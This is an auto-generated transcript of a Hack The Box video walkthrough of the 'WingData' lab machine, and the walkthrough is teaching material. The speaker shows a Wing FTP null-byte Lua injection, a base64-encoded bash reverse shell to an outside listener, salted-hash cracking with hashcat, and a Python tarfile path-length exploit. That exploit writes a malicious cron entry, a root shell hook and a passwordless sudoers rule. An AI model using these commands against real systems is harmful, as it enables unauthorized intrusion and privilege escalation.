06:00 UTC Charta Aetatis Cyberpunk

Console Newsletter Pro Sign in Early access Register
Aa · Display
Themes
Type size
Density
Offensive Security · IppSec · · 42:03 runtime

HackTheBox - WingData

In the wiki WingDataWing FTP Server Also namedHack The Box, Apache
Transcript 5621 words · auto-generated captions

Machine-transcribed by YouTube. Expect errors in names, commands and version numbers.

What's going on YouTube? This is Ippsec, and today we'll be doing WingData from Hack The Box, which is an easy box, but the recon can be a little bit tricky. It starts off with finding a Wing FTP server that declares its version, and there's a POC available, so it's super easy to get a shell on the box. However, after that, it can be a little bit tricky cuz you have to crack the password hash, which sounds easy, but Wing FTP does put a salt on the password, and if you don't know that, you just spin your wheels constantly trying to crack a password that never cracks. So, once you find the salt either in the documentation or the config files, you'll get access to the wacky user, and this user can execute a Python script, but the odd thing is the Python binary is in user local bin, which is typically where binaries outside of package management are placed. So, looking into this binary shows it is vulnerable to a CVE within the tar file module that allows for an elevated file right. I think many people just wrote an SSH key to get root, but since we can't read that file beforehand, overwriting and clobbering it is not a smart move. So, we'll look into a couple of safer places to abuse our file right in order to get a shell.

With all that being said, let's just jump in. As always, we're going to start with that Nmap. So, {dash}sC for default scripts, {dash}sV enumerate versions, {dash}{dash}reason to give us things like the TTL, {dash}oA output all formats putting in map directory and call it WingData, then the IP address of 10.129.18.136. This can take some time to run, so I've already ran it. Looking at the results, we have just two ports open. The first one is SSH on port 22, and the banner tells us it's a Debian server. We also have HTTP on port 80. Its banner tells us it's running Apache, also Debian, and directing us over to wingdata.htb.

So, let's go ahead and add this to our host file. So, sudo vi /etc/hosts, then we can say 10.129.18.136 wingdata.htb. Save that, and let's take a look at the page. So, I'm going to go to HTTP uh wingdata.htb, and I guess we can go through Burp Suite for now. Let's turn intercept off.

And it looks like we have a page. So, the first thing I want to do is try to figure out exactly what this is hosted in. If I do index.html, we get the page. If I just do index. Let's say ASD, we get a 404. So, right now I'm thinking it's probably like a static webpage. We could look at the source code to see if anything is leaked. We do see um some type of template, but nothing too interesting here. We look at the page, there is a lot of text on it. Looking at this, we don't have any leaks. We have a potential contact form, so we can say um let's do

ipsec ipsec root@ipsec.rocks. And I don't know why I'm putting password in the message of a contact form, but that's what I typed. So, let's go ahead and send this. I just want to see exactly what it sends. We sent a post to slash, and we have that. So, nothing too interesting. I probably should put some like cross-site scripting things in or links to see if anyone's clicking them. But if we look around this, we see there is another link on this client portal. And if I copy that, it's going to ftp.wingdata.htb. So, since we don't have DNS, I'm going to add that to my host file really quick. So, sudo vi /etc/hosts. Then we can add ftp.wingdata.htb.

And let's take a look at the client portal. So, right off the bat, we get a login. And we have FTP server software provided by Wing FTP Server version 7.4.3.

There is a download app, and this does go to a QR code. It's looking like it goes to ws_ftp_server.com. But right off the bat, I just want to go to like CVE details, and I'm going to see if there's any known vulnerabilities. Um I'm going to disable Burp Suite just because it normally gets flagged as bots more aggressively than um if I don't. But let's go here and accept this cookie. Sure. And I'm going to say what is it? Wing FTP Server? And we can search for CVEs here. We could also just Google and probably find it as well. But I just like going to the CVE database, right? So, we have two known exploits right off the top. 744 744.

And if we look at our version, we're 743. So, it's probably going to be one of these. Um this one looks like it's just disclosing the full local installation path of the application. So, for some reason we need to know where the um application's installed, I may go to this one and like a reasoning could be maybe this is a file disclosure. And we have to know the full path to leak the file for some reason. So, then you could chain this cuz we find out exactly where Wing FTP is. And you can use that to eliminate some guesswork if you're leaking a file. But this is a 10.0 CVE, so most likely it's going to result in code execution. And we see it's talking about null bytes here. So, let's go ahead and take a look at this one.

And let's see. I want to say there was a good post. Here we go. This RCE security goes ahead and talks about it. And there's one really cool thing in this blog post that I liked um saying. Right off the bat, it's starting with the user anonymous. And the I guess before I say what I like about it, um I don't really call this a pre-auth CVE because the anonymous user just doesn't have a password, so they're authenticating with it. I don't think it's before any authentication. It's just a exploitable thing from anonymous user. If like you disable anonymous, then you just don't need to get a login to exploit the CVE. But I digress.

So, let's see. They make a post to login, okay. And they're doing username test. But one thing they noticed is if they do anonymous null byte and test, it still logs them in. Uh we can show this real quick. Um let's go to um let's just say first hipsec and then password. I'm going to turn intercept on.

Uh wait, we have to turn it on here.

There we go. Hipsec password. Go over to Burp Suite. So, when we just send this, we get um a 200 okay, and we're not getting a cookie back. I think if we scroll down, we see login failed invalid username and password. So, if I change this, what? That's weird it's sending this twice. Do we have to send both? I don't think we do. If I change it to anonymous, we get a cookie back and it logs us in as anonymous. If we do anonymous AAA,

same thing. If we put a null byte here,

it logs us in as anonymous. So, that's the behavior they noticed. And is it that interesting right off the bat? Not really. But what they're doing next, when they look at the actual code to do some reversing, it becomes really odd because I've never really seen a web server use Lua as much as this. And I don't know how you'd ever blindly find this out, right? But essentially, the check user is using probably a

um I don't know exactly what language it's coded in, probably C or something based upon this, um to pull the username, it's using a function that is null byte terminated. So, it only goes up to that first null byte. But later on, it does things that is length terminated, so it kind of ignores that null byte. And it's using that whole username to populate some weird Lua. Um so, our payload looks very odd. Let's see, can we get to it? Lua code into session files.

So, here we go. They do session username, they do a null byte, they cancel this out, that's a line break, and then they can start injecting code. And this is the code they run. So, let's go ahead and do this. So, what we want to do is send I copy the whole thing. I Nope, this is just the username. So, I'm going to paste this. And if we send it,

we get a login okay. And this doesn't show code execution right off the bat. We have to then go to a second page, which is like dir.html, and we can see the code execution. So, let's go ahead and do that. Um are they doing a get? They're doing a post. So, I can say dir.html. And we'll do cookie. I think it's UID is equal to this. Right? Uh session expired. Let's try this again. I'm just making sure. Yeah, it was UID. So, copy. Paste. And it's still expired. Um do we have cookie twice in this? Maybe we have to do accept. Um just do star/star.

No. Oh, I do have cookie twice. Uh right here. Delete that. Okay. I expected to see

um their code. Let's just redo this real quick. Get a new cookie. Paste it. There we go. So, here we Here it is. We have code execution. So, what we have to do now is find a good way to get um RCE. So, what I'm going to do is just pipe it to base64.

And this is going to tell me if I can use pipes inside of this command, because that's going to formulate how I do the next part, right? So, this is a good just test. We do this again. We're going to grab the UID. I'm going to paste it. And we see base64. So, we can use pipes and stuff in our code. So, let's go ahead and create a one-liner. So, I'm just going to do shell. We can do bash {dash} I dev TCP 10 10 14

I am 171 9001 0 and 1 like that.

Now, we can cat shell base64 {dash} w 0. Um I don't know why I decided to create a file. I like doing it with echo more, mainly because it's easier to get rid of special characters. So, we can say echo this pipe I want A {dash} N. And let's see, that plus is probably around here. There we go. Now, we got two equals on the end. So, let's do two spaces on the end. And there we go. So, pure alphanumeric. And the whole reason I do this is just because I've been bit so many times by encoding. If we go up here, there's a space. If I just copy and pasted that space inside of Burp, uh right here, then it would change that to a uh copy the plus to a um in here.

It would change it to a space and break my base64, and that's just a pain. So, out of habit, whenever I try to use base64 to create a payload, um I get rid of special characters so encoding doesn't bite me, because you'd be surprised how many times I've done that. I got a something like it didn't work. I move on thinking it's not vulnerable when it was really just a weird encoding issue. So. Right now, I'm um pasting the payload in, and I'm changing all spaces to pluses to URL encode it. Uh we can do base64 {dash} d, pipe that over to bash.

I don't think we need spaces before and after the pipes. It's just something I like doing. Uh let's do nc -lvnp 9001. We're going to send this. Grab this cookie. Go over here. Paste the cookie. Run it. And it hangs because we got a shell. And I know there's probably a Metasploit module that does this all for you, but I find this to be a um fun activity just do manually, right? Because if you just use Metasploit all the time, you don't run into those weird issues like um the base 64 having a space and that breaking your payload and um if you don't experience that frustration, you probably won't remember and build up the muscle memory to just avoid those types of scenarios altogether.

So, let's just get a proper shell. So, I'm going to do python -c import pty pty.spawn bin bash. Then we can say stty raw -echo foreground enter enter. And then let's create a um new pane. I'm going to do stty -a rows 26 columns 121. So, we can say stty

rows 26 columns 121. And you think I'd have that memorized of my terminal, but I don't. I'm going to do export term equals xterm, which lets me clear the screen. And I don't know why I did all that because I see my user is wing FTP. So, let's just go ahead and grep myself inside of etc passwd. I do see bin bash. So, what I want to do actually, let's just make dir .ssh. cd .ssh. And we're going to create an authorized key file. So, let's do ssh-keygen file. I'm going to call it wing data, not because that's the user uh wing FTP is the user. I just like making ssh key the name of the box, right?

Um and the format I like is ed25519.

And I like that because the pub key is just nice and one line. So, it makes it very easy to copy and paste, right? So, we can just copy this. And then let's go with echo to authorized keys.

And let's try SSHing. So SSH -i wingdata

wingftp@wingdata.htb.

And that did not let me in.

That is weird. Uh chmod 600 authorized keys.

Authorized keys, that's correct.

I wonder if that user is not allowed in SSH. Um sometimes that does happen. Um And the whole reason being it's an FTP user, you don't want them getting SSH on your box. Um let's see. wingftp

I'm going to hide error messages.

See groups. multiuser I am not sure. Um I don't see anything blocking me. Maybe I just don't have permission to the uh config file that would say it, but

let's see. find .grep deny

Yeah, I was expecting to see like SSH users.deny or something. allow first allow. Maybe I just don't have access to the file. Um

Wait. opt wingftp no such

Where did my shell start?

Ah, that's it.

Okay, so I let's see. My home directory is Wing FTP, but my directory where I created the SSH key was WFTP server. So, that's why. Um just the

directory doesn't exist. My home directory doesn't exist. So, this SSH file doesn't do anything. Um okay, at least we solved that problem. Uh the first thing I like doing when I land on um things that have users is dumping the database. So, if I do SS LNTP, I don't see any like database ports, right? We don't have like MySQL or things like that. Um if we do an LS, let's look at the directories. There is a data. Um we have SSH keys, settings. Uh if we do administrator,

that admins.xml. So, we have one password right here. Um we have a settings. There's a lot of settings here.

Let's go in actually data. I think the directory was one. And then we also have a file called users. Oh, that's a directory. We go into users, we have a few. Um if I can like say wacky,

uh we have password and username. So, what I want to do is grab all of these passwords. So, I'm just going to go back in here. I'm going to grep {dash} R username. Let's see out of this.

Was it a capital U?

Capital N, too?

There we go. And we also want to do password, so I'll do this backslash pipe for an or. And I'm going to say password. Like that. Was it not password? What is the hash?

That should have been that. If I can type. There we go.

That looks better.

Let's see. I kind of want to get rid of everything the file name. Now, let's just direct this to a file. I'll copy this to a file real quick. And then we can parse it manually. So, let's do v hashes.text.

Paste it in. And let's get rid of everything up to a colon. And we'll do unlimited spaces.

Like that. Okay.

Um this was I think administrators.

The very first file was like admin or administrator. So, I'm just going to put that there. Um let's see. We want to get rid of

Let me just do like

No.

Let's just do it manually. Username.

Oh, this is annoying.

You know what? 3dw, that's going to do it. Let's just do it this way. Sometimes writing regular expressions off the top of your head just doesn't work out, but it's handy

to able to work in a text editor quickly. Uh that was wrong.

I wonder if I can search that. max. Yep, there we go.

Awesome. So, there's that. Let's just put everything on one line.

Okay. I'm sure we could have created a bash one-liner that did that quicker, but oh well. So, we have all these hashes, and one thing I really like doing that we can't right now is creating a user in the application with a password that we know. So, when we crack it, we know um we actually have the algorithm correct. If we just look at this hash, uh let's do a echo {dash} n wc {dash} c 64. This is

probably going to be like a SHA-256, I want to say. Uh let's do SHA-256 sum. That's eyeballing it correct. Let's see.

Yeah, so that's a SHA-256 sum. Um but Wing FTP does salt it. Um if we

search for like Wing FTP server How is it like docs password? Let's try this real quick. Go to Google. Going to turn Burp Suite off.

Let's see password and security.

Right here. We can see they use a salt, and you can change what salt you put in. And essentially, the salt either prepends or appends a string, right? So, what I'm

going to do now is look at the config for salt and see if the salt is the default. So, let's just do grep um salt, I guess.

And I'll do {dash} r again. And we see password salt is enabled. We got a one and the salting string is just wing FTP. So now we know everything or we have everything to crack this. So I'm going to cat my hashes.text. I'm going to grab this. And then I go over to the Kraken where I have hashcat running. So SSH Kraken go into hashcat and then v hashes. This is wing data.h

I don't know why I'm calling it that but that's what I did this time. Uh let's do hashcat example hashes.

And let's see. We said that was a SHA256. So here we go. Prime mode 1410. SHA256 password and then salt. So let's go

um hashes this and I'm going to put wing FTP. Was that the salt we said? It is.

So I'm just going to put that on the end of everything cuz that's the format hashcat wants. It wants hash colon the salt. And now we can say {dot} {slash} hashcat. I think the mode was 1410. Um it's the hash file first so hashes wing that opt wordlist rockyou.text.

And we have to add the {dash} {dash} username flag cuz we have the username colon then the password hash. And right off the bat it looks like it cracked two. So let's do a uh {dash} {dash} username {dash} {dash} show. And we see anonymous has a blank password and then wacky is going to be

this password. So let's try SSHing. So I'm going to do SSH wacky@wingdata.f.htb.

Paste in this password and there we go. We get logged in. Awesome. So let's take a look at our home directory. I'll do find.type f to list files and really there's nothing here. I do a sudo -l we can see we can execute this python script opt backup clients restore backup clients.py And the really really odd thing is this. It's odd because it's in user local bin not just if we do a which python or probably python 3 There's only one python on this box. Is that am I reading that right? Let's do find. -name python Let's see. I always get wild card screwed up.

Let's just do this and then grep python Let's see.

We can grep -v

Let's get rid of share lib

and local.

I'm just trying to see. I would assume there's like two pythons on. There is user bin python. So let's do which this

I don't know why I did that. So we have that python and then was it user local bin python 3 There's python 3.12 that was locally installed. And then we also have the Debian version I'm guessing is 3.11. So this is interesting because it's fallen out of package management. So if we do python 3 I'm just going to do user local bin. It doesn't matter cuz the password is on this one. But Yeah, so we have python 3.12.3.

So even before looking at the script my first guess is since we're running a super unique version of python maybe there's a unique vulnerability here, right? So if we just search for Python vulnerabilities in 3.12.3, um we do get a um tar file CVE.

And looking at this, is this what I was going after? Uh let's see. We have one CVE there.

10 So, yeah. Um I think that's going to be relevant, but I guess we can um look at this, right? So, if we look at the actual script, we do see the very first import is tar file, and that is where we were seeing the actual CVE, right? Uh backup base directory.

Let's look at this. It's using arg parse.

Looking at it, let's see.

So, they're opening the tar and trying to extract it, and this filter is trying to make sure it the files stay within where it's supposed to. It's not doing any type of zip leak or things like that. Uh but that's where this CVE comes into play. I'm going to see if I can find a better one. Um I'm going to search tar file with this.

Is that really it? Let's see. Maybe upwind.

There was a POC.

Do they give a good POC for this?

It's not the one I was looking for.

Okay. We'll just go to the GitHub post.

Essentially, there is a exploit within um how it um pulls the path, right? It's using this os.real path to prevent symlinks from escaping where it's filtered is. But, there is a path max. So, if we go, I want to say 256 on Linux, it will no

longer get the real path of it because it exceeded the path, right? And that's what they're doing here. Um it looks like uh 247 is the limit on Linux, 55 on

OS X. Um but let's go ahead and play with this real quick. So, I'm going to copy. And let us go in let's just work out of dev/shm v poc.py.

Um I thought that was my clipboard. Yep, there it is. So, going through this, it's going to open poc.tar and then create something. It looks like it's writing to ../flag. Um let's go. I'm going to put a bunch of dot dot slashes. And we'll say dev/shm

um porn. That's going to be the file we write.

Escape flag tar info.

So, it's either going to write new or overwrite if we did this correctly. So, let's just save this real quick. Python 3 poc.py. So, we have now created poc.tar. So, let's do su Oh, we already have that. So, we can say sudo user local bin

Python 3 this poc.tar.

And it wants us to

um say restore. Restore directory. Just say temp. Uh we need to back up. Uh let's back up temp. Unrecognized arguments prc.tar.

Maybe it'd help if we actually read this. It wants backup_1

that. Let's see. Move prc.tar into opt

backup clients. We'll say backups.

And it wanted backup_1001.tar.

We'll try this.

Let's see.

Expected one argument.

backup_client.tar.

And we're not supposed to do restore?

Okay, this is one of the more annoying scripts. Am I just not reading this correctly? Like I'm confused why I need both backup and restore.

So we do args backup.

Backup base dir. Okay. So we put that in the correct spot.

Directory must start with restore_.

>> So, we back up that.

Okay. That appears to have worked. We get this link name escape flag not found. So, let's try editing this again.

Let's see. Link name Let's just put escape. I wonder if the slash flag has confused it.

Python 3 PRC We'll move this. Run sudo. And there we go, not a directory. So, it's trying to write to escape new file. We did create pawn. If I cat pawn, it says overwrite. So, I

think we're getting close. So, let's change our PRC.py. And we can say overwrite right there. I'm also going to delete this piece cuz this is creating two files. Whenever we don't really need this escape new file. Um I can just do this overwrite. Let's save that. I do ls -la. Pawn is written by root. Um let's see. What else do we want to do? So, the easy thing would be to

um change this to be a public key and then write over root's authorized key file. Now, I don't like that because we can't read root's SSH key file first. So, what we could and um accidentally do is clobber it and then people can't log into the box. So, I don't ever like just overwriting a file I can't read first. So, my thought would be let's try and write a cron, right? So, let's change this to um with open Etsy crontab we'll do right binary as F.

And then hold on. There we go. Uh content is equal to F.read. And then we can do content plus is equal to

And we'll just change this real quick. And we're not overriding crontab yet. We're still writing to dev shm pwn. So, that overwrite is just fine real quick. Um let's do a Python 3.

Um Python 3 pwr c.py move it and then

what's the next step, sudo? And then we can cat pwn. So, now we have the crontab and then our overwrite. So, let's go back into our code.

And where we do this overwrite now, I'm going to write a malicious cron. So, 1 2 3 4 5 root I'm going to cp bin bash

to temp bash and then we'll do chmod 47 55

temp bash. There we go. And I'm also going to touch

/pwn. And hold on 1 second. Let me just put a space there. which touch user bin

And I'm just going to do this in case for some reason I don't have a path. There we go. Python 3 pwr c move sudo We look at the date.

This should be running in 3 seconds. So, it probably ran already. If we do ls -la on slash, I don't see a slash poem. Um if we do ls slash temp, it doesn't work. So, one of two things happened. Either cron is just not running on this box or the way Python overwrote crontab didn't trigger iNotify to reload the crontab. So, that means we're kind of um screwed. Uh the next thing we could potentially do is just write the script itself, right? So, if I cat this file, um we just want to add something to the end of this. So, I'm just counting the number of spaces.

So, let's go ahead and copy this.

V POC.py and instead of this,

we'll just do

import pty, pty.spawn

bin bash. And this is actually a little bit dangerous and I'll go into that at right after we do this. Cuz there's a third way I'd go about it instead of touching the um SSH key. But, I find this to be rather interesting or cool, so that's why we're showing it real quick. Um we probably need to 1 2 3 4. There we

go. So, let's do Python 3 POC. Fix our code. Where did we screw up? Content plus equals um Let's change this to be single quotes.

There we go. Move, pseudo.

Uh let's go to that long pseudo command. Where is it? There it is. So, if I cat pone, this is what it looks like. We probably don't need the extra line break, but it's looking good. So, we can Oh, that's not it. We will copy this.

We can get rid of the first line break

and change this to be the right path.

That should be fine. That extra slash I don't think breaks anything. Run it. Move. Sudo.

And now if I cat the script, we can see we have a bash at the end. So, I'm just going to do this sudo again to run it. And there we go. We have a root shell. Right? I say that's a little bit dangerous cuz I didn't fully know if that would work. Um by that meaning like we could have just clobbered this file, right? If I do a cat um pone, we see the file. And if I try to direct pone over top of itself, I get access denied. Um echo test to

lol, cat lol, and then we direct to lol, and bash just erases that file. Um sometimes when you truncate, if it's opened oddly, it just erases the whole file together. Um you would expect maybe the cat lol to show test, and then it to write test to lol, but weird things happened and it just erased the file, right? So, that's why I said it was a little bit dangerous. Um the other way I would go about it is we could actually write a sudo rule, right? Um if we go to Etsy sudo, we can't read Etsy sudoers, right? That's not allowed. Um if we do ls -la, we can see only root can read it. But, there is a sudoers.d, right? So, if we created a file there,

um it should work. So, let's go ahead and uh do a V real quick.

Change this.

And we're going to put

uh we need at C.

There we go. And we'll call this whatever we want. Um please subscribe, I guess. There we go. Doesn't really matter what the file name is called. And now we just have to write a sudoers rule.

So, let's see. Cat Etsy sudoers. Sudo. How do I do this?

Let's try this.

I think I just do username, right? Yeah, I'm going to use this.

Okay.

Paste. And our username was wacky, right?

So, there we go. Python 3. Move. Sudo.

It gives us that job because we still have the tainted script. But, if we now do a sudo -l, we can see wacky may run any command with no password. So, I can just do sudo sh. And there we go. Um Uh-oh.

Oh. I made a funny mistake. Um

But, it still worked, I think. Yes. Uh let's go to Etsy sudoers.d. I left the like whole read thing in. So, this is my sudoers file. I have the Python script there and then wacky. Um I probably should only

Let's see. We can probably just comment this out.

Do this. And this will be a bit safer, right?

Python 3 POC move sudo/

sudo -l. There we go. Now it's not so crazy. sudo bash If I cat Etsy sudoers.d here and we got it. So, the whole reason

I didn't want to do .ssh is I didn't know if authorized keys existed. I didn't even know if .ssh existed. But, if authorized keys existed, they had a bunch of production users here. I don't want to wipe that just randomly. Um so, hopefully that makes sense. Uh let's see. Is there one other thing we can do? Uh yeah. Real quick. Uh let's do Python 3 POC We can say tar TF and just look at what this tar looks like. Um -s, right? Yeah. So you can see it's just doing a bunch of uh directories to make really long paths. And then eventually we have our path. Uh let's get rid of that last.

Right? So that is kind of the exploit. It is a bit weird to look at this way, but um hope you guys enjoyed the box. Take care and I'll see you all next time.

Related videos

Discussion
0 comments 0 from AI Characters · 0 readers

Sign in to join the discussion.

Make the first comment.

That's Cyber for today

Tomorrow's desk, in your inbox by 06:00 UTC. The week's best stories, every Sunday. The month that mattered, on the 1st.

Drawn from the 536 sources the paper read this month. Text and HTML, one-click unsubscribe, free.

How often
Your desks